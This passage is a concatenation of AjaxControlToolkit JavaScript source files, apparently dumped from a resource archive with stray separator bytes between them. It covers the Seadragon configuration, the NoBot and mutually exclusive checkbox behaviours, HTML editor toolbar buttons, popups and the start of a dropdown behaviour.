
    this.animationTime = 1.5;

    this.blendTime = 0.5;

    this.alwaysBlend = false;

    this.autoHideControls = true;

    this.immediateRender = false;

    this.wrapHorizontal = false;

    this.wrapVertical = false;

    this.minZoomDimension = 0.8;

    this.maxZoomPixelRatio = 2;

    this.visibilityRatio = 0.5;

    this.springStiffness = 5.0;

    this.imageLoaderLimit = 2;

    this.clickTimeThreshold = 200;

    this.clickDistThreshold = 5;

    this.zoomPerClick = 2.0;

    this.zoomPerSecond = 2.0;

    this.showNavigationControl = true;

    this.maxImageCacheCount = 100;

    this.minPixelRatio = 0.5;

    this.mouseNavEnabled = true;

    this.navImages = {
        zoomIn: {
            REST: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_rest.png") %>',
            GROUP: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_grouphover.png") %>',
            HOVER: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_hover.png") %>',
            DOWN: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomin_pressed.png") %>'
        },
        zoomOut: {
            REST: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_rest.png") %>',
            GROUP: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_grouphover.png") %>',
            HOVER: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_hover.png") %>',
            DOWN: '<%= WebResource("AjaxControlToolkit.Seadragon.images.zoomout_pressed.png") %>'
        },
        home: {
            REST: '<%= WebResource("AjaxControlToolkit.Seadragon.images.home_rest.png") %>',
            GROUP: '<%= WebResource("AjaxControlToolkit.Seadragon.images.home_grouphover.png") %>',
            HOVER: '<%= WebResource("AjaxControlToolkit.Seadragon.images.home_hover.png") %>',
            DOWN: '<%= WebResource("AjaxControlToolkit.Seadragon.images.home_pressed.png") %>'
        },
        fullpage: {
            REST: '<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_rest.png") %>',
            GROUP: '<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_grouphover.png") %>',
            HOVER: '<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_hover.png") %>',
            DOWN: '<%= WebResource("AjaxControlToolkit.Seadragon.images.fullpage_pressed.png") %>'
        }
    }
}
AjaxControlToolkit.Seadragon.Config.registerClass('AjaxControlToolkit.Seadragon.Config', null, Sys.IDisposable);
6	// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />


Type.registerNamespace("AjaxControlToolkit");

AjaxControlToolkit.NoBotBehavior = function(element) {
    /// <summary>
    /// The NoBotBehavior is used to evaluate JavaScript on the client
    /// to ensure they are running from within a browser
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// DOM Element to associate the behavior with
    /// </param>
    AjaxControlToolkit.NoBotBehavior.initializeBase(this, [element]);

    this._ChallengeScript = "";
}
AjaxControlToolkit.NoBotBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.NoBotBehavior.callBaseMethod(this, "initialize");
        
        // Evaluate challenge script and store response in ClientState
        var response = eval(this._ChallengeScript);
        AjaxControlToolkit.NoBotBehavior.callBaseMethod(this, "set_ClientState", [response]);
    },

    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        AjaxControlToolkit.NoBotBehavior.callBaseMethod(this, "dispose");
    },

    get_ChallengeScript : function() {
        /// <value type="String">
        /// JavaScript to be evaluated
        /// </value>
        return this._ChallengeScript;
    },
    set_ChallengeScript : function(value) {
        if (this._ChallengeScript != value) { 
            this._ChallengeScript = value;
            this.raisePropertyChanged('ChallengeScript');
        }
    }
}
AjaxControlToolkit.NoBotBehavior.registerClass("AjaxControlToolkit.NoBotBehavior", AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.NoBotBehavior.callBaseMethod(this, "getDescriptor");
//        td.addProperty("ChallengeScript", String);
//        return td;
//    },
�// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior = function(element) {
    /// <summary>
    /// The MutuallyExclusiveCheckBoxBehavior allows only one checkbox in
    /// a group with the same Key to be checked at a time
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement" domElement="true">
    /// The DOM Element the behavior is associated with
    /// </param>
    AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.initializeBase(this, [element]);
    
    this._key = "";
    this._clickHandler = Function.createDelegate(this, this._onclick);
}
AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.callBaseMethod(this, 'initialize');
        $addHandler(this.get_element(), "click", this._clickHandler);
    },
    
    dispose : function() {
        /// <summary>
        /// Dispose the behavior
        /// </summary>
        if (this._key) {
            var keys = AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys;
            var ar = keys[this._key];
            Array.remove(ar, this);
            this._key = null;
        }
        if (this._clickHandler) {
            $removeHandler(this.get_element(), "click", this._clickHandler);
            this._clickHandler = null;
        }
        AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.callBaseMethod(this, 'dispose');
    },
    
    get_Key : function() {
        /// <value type="String">
        /// The unique key to use to associate checkboxes. This key does not respect INamingContainer renaming.
        /// </value>
        return this._key;
    },
    set_Key : function(value) {
        var keys = AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys;
        if(value != this._key) {
            if(this._key) {
                var ar = keys[this._key];
                Array.remove(ar, this._key);
            }
            this._key = value;
            if(value) {
                var ar = keys[this._key];
                if(ar == null) {
                    ar = keys[this._key] = [];
                }
                Array.add(ar, this);
            }
        }
    },
    
    _onclick : function() {
        /// <summary>
        /// Click handler used to ensure only one checkbox in its key is checked
        /// </summary>
        var element = this.get_element();
        var keys = AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys;
        if(this._key && element.checked) {
            var ar = keys[this._key];
            var t = this;
            Array.forEach(ar, function(b) {
                /// <summary>
                /// Uncheck all other checkboxes in the same key group
                /// </summary>
                /// <param name="b" type="AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior">
                /// Checkbox in the same key group
                /// </param>
                if(b != t) {
                    b.get_element().checked = false;
                    $common.tryFireEvent(b.get_element(), "change");
                }
            });
        }
        
        this.raiseChecked(new AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs(element, this._key));
    },
    
    add_checked : function(handler) {
        /// <summary>
        /// Add an event handler for the checked event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('checked', handler);
    },
    remove_checked : function(handler) {
        /// <summary>
        /// Remove an event handler from the checked event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('checked', handler);
    },
    raiseChecked : function(eventArgs) {
        /// <summary>
        /// Raise the checked event
        /// </summary>
        /// <param name="eventArgs" type="AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs" mayBeNull="false">
        /// Event arguments for the checked event
        /// </param>
        /// <returns />
        
        var handler = this.get_events().getHandler('checked');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}    
AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.registerClass('AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior', AjaxControlToolkit.BehaviorBase);
AjaxControlToolkit.MutuallyExclusiveCheckBoxBehavior.Keys = {};


AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs = function(checkbox, key) {
    /// <summary>
    /// Event arguments used when the checked event is raised
    /// </summary>
    /// <param name="checkbox" type="Sys.UI.DomElement" mayBeNull="False" isDomElement="true">
    /// Checkbox that was checked or unchecked
    /// </param>
    /// <param name="key" type="String" mayBeNull="False">
    /// The unique key used to associate checkboxes
    /// </param>
    AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs.initializeBase(this);
    
    this._key = key;
    this._checkbox = checkbox;
}
AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs.prototype = {
    get_checkbox : function() {
        /// <value type="Sys.UI.DomElement" mayBeNull="False">
        /// Checkbox that was checked or unchecked
        /// </value>
        return this._checkbox;
    },
    
    get_key : function() {
        /// <value type="String" mayBeNull="False">
        /// The unique key used to associate checkboxes
        /// </value>
        return this._key;
    }
}
AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs.registerClass('AjaxControlToolkit.MutuallyExclusiveCheckBoxEventArgs', Sys.EventArgs);
tType.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.callBaseMethod(this, "callMethod")) return false;
        var editor = this._designPanel;
        var sel   = editor._getSelection();
        var range = editor._createRange(sel);
        var parent= AjaxControlToolkit.HTMLEditor.getSelParent(editor);
        
        if (parent.nodeType == 3) {
            parent = parent.parentNode;
        }

        while(parent && AjaxControlToolkit.HTMLEditor.isStyleTag(parent.tagName) && parent.tagName.toUpperCase() != "A") {
            parent = parent.parentNode;
        }
        
        if(parent && parent.tagName.toUpperCase() == "A") {
            editor._saveContent();
            var el = parent.firstChild;

            while(parent.firstChild) parent.parentNode.insertBefore(parent.firstChild,parent);

            parent.parentNode.removeChild(parent);
            if(el) AjaxControlToolkit.HTMLEditor._setCursor(el,editor);
            setTimeout(function() {editor._editPanel.updateToolbar();}, 0);
            editor.onContentChanged();
        }
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.RemoveLink", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);
�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.prototype = {
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.callBaseMethod(this, "checkState")) return false;
        return this._designPanel._textAlignState("center");
    },
    
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("JustifyCenter");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.JustifyCenter", AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);

�	Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.prototype = {
    initialize : function() {
        AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.callBaseMethod(this, "initialize");
    },
    
    callMethod : function(select,event) {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.callBaseMethod(this, "callMethod")) return false;

        try {
            var editor = this._designPanel;
            editor._execCommand("fontname",false,select.options.item(select.selectedIndex).value);
        } catch(e) {}
    },
    
    checkState : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.callBaseMethod(this, "checkState")) return false;
    
        var editor = this._designPanel;
        var param =null;
        try{param = (Function.createDelegate(editor, AjaxControlToolkit.HTMLEditor._queryCommandValue))("fontname");} catch(e){}

        if(!editor._FontNotSet)
        if(!param || param.length==0) {
            param = AjaxControlToolkit.HTMLEditor.getStyle(editor._doc.body,"font-family");
        }

        var el   = this._select;
        var i=0;
        if(param && param.length > 0) {
            var seek = param.toLowerCase().split(",")[0].replace(/^(['"])/,"").replace(/(['"])$/,"");

            for(i=0; i< el.options.length; i++) {
                var cur = el.options.item(i).value.toLowerCase().split(",")[0];
                if(cur==seek) break
            }
            if(i==el.options.length) {
                try {
                    var newopt = document.createElement("OPTION");
                    newopt.value = param.replace(/^(['"])/,"").replace(/(['"])$/,"");
                    newopt.text  = param.split(",")[0].replace(/^(['"])/,"").replace(/(['"])$/,"");
                    el.add(newopt,(AjaxControlToolkit.HTMLEditor.isIE)?i:null);
                    $addHandler(newopt, "click", this._onclick_option$delegate);
                } catch(e) {
                    i = 0;
                }
            }
        }
        el.selectedIndex = i;
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FontName", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeSelectButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor.prototype = {
    setColor : function(color) {
        this._designPanel._execCommand("backcolor", false, color);
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedBackColor", AjaxControlToolkit.HTMLEditor.ToolbarButton.FixedColorButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.initializeBase(this, [element]);
    this._designPanel = null;
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.prototype = {
    _onmousedown : function(e) {
        if(this._designPanel == null) return false;
        if(this._designPanel.isPopup()) return false;
        if(AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.callBaseMethod(this, "_onmousedown",[e])===null) return false;
        this.callMethod();
        return false;
    },
    
    onEditPanelActivity : function() {
        this._designPanel = this._editPanel.get_activePanel();
    },
    
    callMethod : function() {
        if(this._designPanel == null) return false;
        if(this._designPanel.isPopup()) return false;
        return true;
    }   
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModeImageButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.ImageButton);


Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.initializeBase(this, [element]);

    this._relatedElement = null;
}

AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.prototype = {

    get_relatedElement: function() {
        return this._relatedElement;
    },

    set_relatedElement: function(value) {
        this._relatedElement = value;
    },

    open: function(callback) {
        if (this._relatedElement != null) {
            var popup = this;

            if (!this.checkCorrectLoaded(function() { popup.open(callback); })) {
                return;
            }

            var location = $common.getLocation(this._relatedElement);
            var x = location.x;
            var y = location.y + this._relatedElement.offsetHeight;

            var element = this.get_element().parentNode;
            while (element && element.tagName && element.tagName.toUpperCase() != "BODY") {
                var position = AjaxControlToolkit.HTMLEditor.getStyle(element, "position");
                if (position == "absolute" || position == "fixed") {
                    var top = parseInt(AjaxControlToolkit.HTMLEditor.getStyle(element, "top"));
                    var left = parseInt(AjaxControlToolkit.HTMLEditor.getStyle(element, "left"));
                    if (!isNaN(top) && !isNaN(left)) {
                        x -= left;
                        y -= top;
                    }
                    break;
                } else if (position == "relative") {
                    var relativeLocation = $common.getLocation(element);
                    x -= relativeLocation.x;
                    y -= relativeLocation.y;
                }
                element = element.parentNode;
            }

            var viewportElement = AjaxControlToolkit.HTMLEditor.getClientViewportElement(this._iframe);
            var theVisibleWidth = viewportElement.clientWidth + viewportElement.scrollLeft;
            var theVisibleHeight = viewportElement.clientHeight + viewportElement.scrollTop;

            if (y < viewportElement.scrollTop) y = viewportElement.scrollTop;
            if (x < viewportElement.scrollLeft) x = viewportElement.scrollLeft;

            if (y + this._iframe.offsetHeight > theVisibleHeight) y -= y + this._iframe.offsetHeight - theVisibleHeight;
            if (x + this._iframe.offsetWidth > theVisibleWidth) x -= x + this._iframe.offsetWidth - theVisibleWidth;

            AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this, "open", [callback, y, x]);
        }
    },

    close: function(callback) {
        AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this, "close", [callback]);
    },

    initialize: function() {
        AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this, "initialize");
    },

    dispose: function() {
        AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.callBaseMethod(this, "dispose");
    }
}

AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup", AjaxControlToolkit.HTMLEditor.Popups.Popup);
(Type.registerNamespace("AjaxControlToolkit.HTMLEditor");

AjaxControlToolkit.HTMLEditor.Editor = function(element) {
    AjaxControlToolkit.HTMLEditor.Editor.initializeBase(this, [element]);
    
    this._editPanel = null;
    this._changingToolbar = null;
    if (AjaxControlToolkit.HTMLEditor.isIE && Sys.Browser.version == 8 && document.compatMode != "BackCompat" || AjaxControlToolkit.HTMLEditor.isOpera) {
        this._onresize$delegate = Function.createDelegate(this, this._onresize);
    }
}

AjaxControlToolkit.HTMLEditor.Editor.prototype = {
    get_autofocus: function() {
        return this._editPanel.get_autofocus();
    },
    set_autofocus: function(value) {
        this._editPanel.set_autofocus(value);
    },

    get_content: function() {
        return this._editPanel.get_content();
    },
    set_content: function(value) {
        this._editPanel.set_content(value);
    },

    get_activeMode: function() {
        return this._editPanel.get_activeMode();
    },
    set_activeMode: function(value) {
        this._editPanel.set_activeMode(value);
    },

    get_editPanel: function() {
        return this._editPanel;
    },
    set_editPanel: function(value) {
        this._editPanel = value;
    },

    get_changingToolbar: function() {
        return this._changingToolbar;
    },
    set_changingToolbar: function(value) {
        this._changingToolbar = value;
    },

    add_propertyChanged: function(handler) {
        this._editPanel.add_propertyChanged(handler);
    },
    remove_propertyChanged: function(handler) {
        this._editPanel.remove_propertyChanged(handler);
    },

    initialize: function() {
        AjaxControlToolkit.HTMLEditor.Editor.callBaseMethod(this, "initialize");

        var element = this.get_element();
        var oldStyle = element.className;

        Sys.UI.DomElement.removeCssClass(element, oldStyle);
        Sys.UI.DomElement.addCssClass(element, "ajax__htmleditor_editor_base");
        Sys.UI.DomElement.addCssClass(element, oldStyle);

        if (!AjaxControlToolkit.HTMLEditor.isIE && document.compatMode != "BackCompat") {
            this.get_element().style.height = "100%";
        }

        if (AjaxControlToolkit.HTMLEditor.isIE && Sys.Browser.version == 8 && document.compatMode != "BackCompat" || AjaxControlToolkit.HTMLEditor.isOpera) {
            $addHandlers(element, {
                resize: this._onresize$delegate
            });
            var editPanel = this.get_editPanel();
            this._saved_setActive = editPanel._setActive;
            editPanel._setActive = Function.createDelegate(this, this._setActive);
            var editor = this;
            if (AjaxControlToolkit.HTMLEditor.isOpera) {
                setTimeout(function() {
                    editor._ensureVisibleResize();
                }, 0);
            } else {
                editor._ensureVisibleResize();
            }
        }
    },

    _setActive: function(par) {
        var editor = this;
        (Function.createDelegate(this.get_editPanel(), this._saved_setActive))(par);

        if (!AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element())) {
            setTimeout(function() {
                editor._ensureVisibleResize();
            }, 0);
        } else {
            editor._ensureVisibleResize();
        }
    },

    _ensureVisibleResize: function() {
        var invisible = false;
        var save;
        if (!AjaxControlToolkit.HTMLEditor.isReallyVisible(this.get_element())) {
            invisible = true;
            save = AjaxControlToolkit.HTMLEditor.setElementVisibility(this.get_element());
        }

        this._onresize();
        if (invisible) {
            AjaxControlToolkit.HTMLEditor.restoreElementVisibility(save);
            delete save;
        }
    },

    dispose: function() {
        if (AjaxControlToolkit.HTMLEditor.isIE && Sys.Browser.version == 8 && document.compatMode != "BackCompat" || AjaxControlToolkit.HTMLEditor.isOpera) {
            $common.removeHandlers(this.get_element(), {
                resize: this._onresize$delegate
            });
            this.get_editPanel()._setActive = this._saved_setActive;
        }

        AjaxControlToolkit.HTMLEditor.Editor.callBaseMethod(this, "dispose");
    },

    _onresize: function(e) {
        try {
            var editPanelTD = this.get_editPanel().get_element().parentNode;
            if (typeof e == "undefined" || e == null) {
                editPanelTD.style.height = "";
            }
            var height = AjaxControlToolkit.HTMLEditor.Editor.MidleCellHeightForIE(editPanelTD.parentNode.parentNode.parentNode, editPanelTD.parentNode);
            editPanelTD.style.height = height;

            if (typeof this.get_editPanel().get_activePanel()._onresize != "undefined") {
                this.get_editPanel().get_activePanel()._onresize();
            }
        } catch (ex) {
        }
        return true;
    }
}

AjaxControlToolkit.HTMLEditor.Editor.registerClass("AjaxControlToolkit.HTMLEditor.Editor", Sys.UI.Control);

AjaxControlToolkit.HTMLEditor.Editor.MidleCellHeightForIE = function(table, row) {
    var height = "100%";
    if (AjaxControlToolkit.HTMLEditor.isIE && document.compatMode != "BackCompat" || AjaxControlToolkit.HTMLEditor.isOpera) {
        try {
            var decrease = 2;
            for (var i = 0; i < table.rows.length; i++) {
                if (table.rows[i] != row) {
                    decrease += (table.rows[i].offsetHeight + 1);
                }
            }
            var clientHeight = table.clientHeight;
            if (Sys.Browser.version == 8 || AjaxControlToolkit.HTMLEditor.isOpera) {
                var styleHeight = table.style.height;
                var parentStyleHeight = table.parentNode.style.height;
                if (styleHeight.indexOf("px") > 0) {
                    clientHeight = parseInt(styleHeight);
                } else if (styleHeight == "100%" && parentStyleHeight.indexOf("px") > 0) {
                    clientHeight = parseInt(parentStyleHeight);
                }
            }
            height = ((clientHeight - decrease) * 100.00 / (clientHeight * 1.00)) + '%';
        } catch (e) {
            height = "";
        }
    }
    return height;
}
�s// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />
/// <reference path="../DynamicPopulate/DynamicPopulateBehavior.js" />
/// <reference path="../Compat/Timer/Timer.js" />
/// <reference path="../Animation/Animations.js" />
/// <reference path="../Animation/AnimationBehavior.js" />
/// <reference path="../PopupExtender/PopupBehavior.js" />
/// <reference path="../HoverExtender/HoverBehavior.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.DropDownBehavior = function(element) {
    AjaxControlToolkit.DropDownBehavior.initializeBase(this, [element]);
    this._dropDownControl = null;
    this._highlightBorderColor = "#2353B2";
    this._highlightBackgroundColor = "#FFF3DB";
    this._dropArrowBackgroundColor = "#C6E1FF";
    this._dropArrowImageUrl = null;
    this._dropArrowWidth = "16px";
    this._oldBackgroundColor = null;
    this._dropFrame = null;
    this._dropArrow = null;
    this._dropArrowImage = null;
    this._dropWrapper = null;
    this._isOpen = false;
    this._isOver = false;
    this._wasClicked = null;
    this._dropWrapperHoverBehavior = null;
    this._dropPopupPopupBehavior = null;
    this._onShowJson = null;
    this._onHideJson = null;
    
    this._dropDownControl$delegates = {
        click : Function.createDelegate(this, this._dropDownControl_onclick),
        contextmenu : Function.createDelegate(this, this._dropDownControl_oncontextmenu)
    }
    this._dropFrame$delegates = {
        click : Function.createDelegate(this, this._dropFrame_onclick),
        contextmenu : Function.createDelegate(this, this._dropFrame_oncontextmenu)
    }
    this._dropWrapper$delegates = {
        click : Function.createDelegate(this, this._dropWrapper_onclick),
        contextmenu : Function.createDelegate(this, this._dropWrapper_oncontextmenu)
    }
    this._document$delegates = {
        click : Function.createDelegate(this, this._document_onclick),
        contextmenu : Function.createDelegate(this, this._document_oncontextmenu)
    }
    this._dropWrapperHoverBehavior$delegates = {
        hover : Function.createDelegate(this, this._dropWrapperHoverBehavior_onhover),
        unhover : Function.createDelegate(this, this._dropWrapperHoverBehavior_onunhover)
    }
}
AjaxControlToolkit.DropDownBehavior.prototype = {
    
    
    initialize : function() {
        AjaxControlToolkit.DropDownBehavior.callBaseMethod(this, 'initialize');
        var elt = this.get_element();        
        var parent = elt.parentNode;
        
        //
        // _dropDownControl
        //
        if (this._dropDownControl == null) {
            $common.createElementFromTemplate({
                parent : parent,
                nameTable : this,
                name : "_dropDownControl",
                nodeName : "div",
                visible : false,
                cssClasses : this._dropDownControl ? null : ["ajax__dropdown_panel"],
                properties : { 
                    __GENERATED : true 
                }
            });
        }
        $addHandlers(this._dropDownControl, this._dropDownControl$delegates);

        //
        // _dropFrame
        // _dropArrow
        // _dropArrowWrapper
        // _dropArrowImage
        //
        var dropArrowImageProperties = {};
        if (this._dropArrowImageUrl) {
            // Only set src if it has a value - otherwise IE gets a HTTP 404 response
            dropArrowImageProperties["src"] = this._dropArrowImageUrl;
        }
        $common.createElementFromTemplate({
            parent : parent,
            nameTable : this,
            name : "_dropFrame",
            nodeName : "span",
            visible : false,
            children : [{
                name : "_dropFrameTop",
                nodeName : "div",
                cssClasses : ["ajax__dropdown_frame_line"]
            }, {
                name : "_dropFrameRight",
                nodeName : "div",
                cssClasses : ["ajax__dropdown_frame_line"]
            }, {
                name : "_dropFrameBottom",
                nodeName : "div",
                cssClasses : ["ajax__dropdown_frame_line"]
            }, {
                name : "_dropFrameLeft",
                nodeName : "div",
                cssClasses : ["ajax__dropdown_frame_line"]
            }, {
                name : "_dropArrow",
                nodeName : "div",
                cssClasses : (!this._dropArrowImageUrl) ? ["ajax__dropdown_arrow", "ajax__dropdown_arrow_image"] : ["ajax__dropdown_arrow"],
                properties : {
                    style : {
                        width : this._dropArrowWidth,
                        backgroundColor : this._dropArrowBackgroundColor
                    }
                },
                events : this._dropFrame$delegates,
                children : [{
                    name : "_dropArrowWrapper",
                    nodeName : "div",
                    visible : !!this._dropArrowImageUrl,
                    cssClasses : ["ajax__dropdown_arrow_wrapper"],
                    children : [{
                        name : "_dropArrowImage",
                        nodeName : "img",
                        properties : dropArrowImageProperties
                    }]
                }]
            }]
        });

        //
        // _dropWrapper
        //
        $common.createElementFromTemplate({
            parent : null,
            nameTable : this,
            name : "_dropWrapper",
            nodeName : "span",
            properties : {
                id : elt.id + "_dropWrapper",
                style : {
                    cursor : "default"
                }
            },
            events : this._dropWrapper$delegates,
            content : elt
        });
        
        //
        // _dropPopupPopupBehavior
        //
        this._dropPopupPopupBehavior = $create(AjaxControlToolkit.PopupBehavior, { 
            positioningMode : AjaxControlToolkit.PositioningMode.BottomRight, 
            parentElement : elt, 
            y : -1 
        }, null, null, this._dropDownControl);
        
        // Create the animations (if they were set before initialize was called)
        if (this._onShowJson) {
            this._dropPopupPopupBehavior.set_onShow(this._onShowJson);
        }
        if (this._onHideJson) {
            this._dropPopupPopupBehavior.set_onHide(this._onHideJson);
        }
        
        
        //
        // _dropWrapperHoverBehavior
        //
        this._dropWrapperHoverBehavior = $create(AjaxControlToolkit.HoverBehavior, { 
            hoverElement : this._dropFrame 
        }, this._dropWrapperHoverBehavior$delegates, null, this._dropWrapper);

        //
        // wire events
        //
        $addHandlers(document, this._document$delegates);
    },
    
    dispose : function() {
        var elt = this.get_element();
        if (this._isOpen) {
            this.hide();
            this.unhover();
            this._isOpen = false;
        }
        $common.removeHandlers(document, this._document$delegates);
        this._onShowJson = null;
        this._onHideJson = null;
        if (this._dropPopupPopupBehavior) {
            this._dropPopupPopupBehavior.dispose();
            this._dropPopupPopupBehavior = null;
        }
        if (this._dropWrapperHoverBehavior) {
            this._dropWrapperHoverBehavior.dispose();
            this._dropWrapperHoverBehavior = null;
        }
        if (this._dropFrame) {
            $common.removeElement(this._dropFrame);
            this._dropFrame = null;
            this._dropFrameTop = null;
            this._dropFrameRight = null;
            this._dropFrameBottom = null;
            this._dropFrameLeft = null;
            this._dropArrow = null;
            this._dropArrowWrapper = null;
            this._dropArrowImage = null;
        }
        if (this._dropWrapper) {
            $common.removeHandlers(this._dropWrapper, this._dropWrapper$delegates);
            $common.unwrapElement(elt, this._dropWrapper);
            this._dropWrapper = null;
        }
        if (this._dropDownControl) {
            $common.removeHandlers(this._dropDownControl, this._dropDownControl$delegates);
            if (this._dropDownControl.__GENERATED) {
                $common.removeElement(this._dropDownControl);
            }
            this._dropDownControl = null;
        }
        AjaxControlToolkit.DropDownBehavior.callBaseMethod(this, 'dispose');
    },    

    hover : function() {
        var elt = this.get_element();
        if (!this._isOver) {
